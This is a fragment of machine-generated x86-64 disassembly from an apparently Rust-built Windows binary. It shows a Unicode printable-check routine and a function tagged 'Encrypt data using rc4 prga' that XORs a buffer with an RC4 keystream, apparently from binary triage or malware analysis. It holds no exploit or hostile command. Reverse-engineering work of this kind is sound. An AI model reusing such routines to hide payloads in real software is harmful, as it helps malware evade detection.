cmp r10, rdx
ja 0x14011f211
add rax, r9
xor ebx, ebx
nop dword [rax]
cmp rdi, rbx
je 0x14011f162
lea rsi, [rbx + 1]
cmp byte [rax + rbx], cl
mov rbx, rsi
jne 0x14011f140
jmp 0x14011f1d2
ja 0x14011f16a
mov rax, r10
cmp r11, r8
jne 0x14011f110
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x14011f1d6
mov rsi, qword [rsp + 0x78]
add rdx, rsi
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea rbx, [rsi + 1]
movzx edi, byte [rsi]
test dil, dil
js 0x14011f1b0
mov rsi, rbx
sub ecx, edi
jns 0x14011f1c9
jmp 0x14011f1d8
cmp rbx, rdx
je 0x14011f1e3
movzx ebp, byte [rsi + 1]
add rsi, 2
and edi, 0x7f
shl edi, 8
or edi, ebp
sub ecx, edi
js 0x14011f1d8
xor al, 1
cmp rsi, rdx
jne 0x14011f190
jmp 0x14011f1d8
xor eax, eax
jmp 0x14011f1d8
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
ret
lea rcx, str.called__Option::unwrap____on_a__None__valuefrom_str_radix_int:_must_lie_in_the_range___2__36_____found
lea r8, str.pU_
mov edx, 0x2b
call fcn.14013bf50
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, rax
mov rdx, r10
call fcn.14013c3c0
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.14013c3b0
ud2

Function at 0x140121550
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbx
movsxd rbx, dword [0x1402aa128]
xor r8d, r8d
mov r11, rdx
mov eax, r8d
test rbx, rbx
jle 0x1401215d6
mov qword [rsp + 0x10], rdi
lea rdi, [0x1402a9ff0]
inc eax
and eax, 0x800000ff
jge 0x140121585
dec eax
or eax, 0xffffff00
inc eax
movsxd r10, eax
movzx r9d, byte [r10 + rdi]
add r8d, r9d
and r8d, 0x800000ff
jge 0x1401215a6
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rdx, r8d
movzx ecx, byte [rdx + rdi]
mov byte [r10 + rdi], cl
mov byte [rdx + rdi], r9b
movzx ecx, byte [r10 + rdi]
add r9, rcx
movzx ecx, r9b
movzx ecx, byte [rcx + rdi]
xor byte [r11], cl
inc r11
sub rbx, 1
jne 0x140121573
mov rdi, qword [rsp + 0x10]
pop rbx
ret